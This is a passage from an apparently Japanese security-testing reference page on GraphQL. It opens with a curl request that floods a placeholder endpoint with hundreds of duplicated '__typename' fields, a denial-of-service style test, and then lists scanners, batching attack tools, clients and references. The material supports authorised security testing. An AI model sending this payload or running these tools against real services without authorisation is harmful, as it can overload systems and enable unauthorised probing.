curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
|
||
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
|
||
'https://example.com/graphql'
|
||
```
|
||
## ツール
|
||
|
||
### 脆弱性スキャナー
|
||
|
||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql エンドポイントの一般的な誤設定をテストします
|
||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): バッチ GraphQL クエリとミューテーションの実行に焦点を当てた GraphQL セキュリティ監査スクリプト。
|
||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 使用されている graphql のフィンガープリンティング
|
||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): スキーマを取得し、機密データを検索し、認可をテストし、スキーマをブルートフォースし、特定のタイプへのパスを見つけるために使用できるツールキット。
|
||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): スタンドアロンまたは [Burp 拡張機能](https://github.com/doyensec/inql) として使用できます。
|
||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI クライアントとしても使用でき、攻撃を自動化します
|
||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL スキーマ内の特定のタイプに到達するさまざまな方法をリストするツール**。
|
||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL のスタンドアロンおよび CLI モードの後継
|
||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 高度な GraphQL テスト用の Burp 拡張機能。_**スキャナー**_ は InQL v5.0 のコアであり、GraphQL エンドポイントまたはローカルのイントロスペクションスキーマファイルを分析できます。すべての可能なクエリとミューテーションを自動生成し、分析のために構造化されたビューに整理します。_**アタッカー**_ コンポーネントを使用すると、バッチ GraphQL 攻撃を実行でき、実装が不十分なレート制限を回避するのに役立ちます。
|
||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 一部の Graphql データベースの助けを借りて、イントロスペクションが無効になっていてもスキーマを取得しようとします。
|
||
|
||
### クライアント
|
||
|
||
- [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI クライアント
|
||
- [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI クライアント
|
||
|
||
### 自動テスト
|
||
|
||
{{#ref}}
|
||
https://graphql-dashboard.herokuapp.com/
|
||
{{#endref}}
|
||
|
||
- AutoGraphQL を説明するビデオ: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
||
|
||
## 参考文献
|
||
|
||
- [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
|
||
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
||
- [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
|
||
- [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
|
||
- [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
|
||
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
||
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|